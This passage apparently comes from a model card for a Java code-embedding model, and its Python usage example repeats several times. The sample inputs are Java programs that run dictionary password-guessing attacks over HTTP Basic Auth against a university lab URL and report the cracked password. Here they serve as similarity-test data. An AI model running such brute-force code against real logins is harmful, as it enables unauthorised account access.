openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException 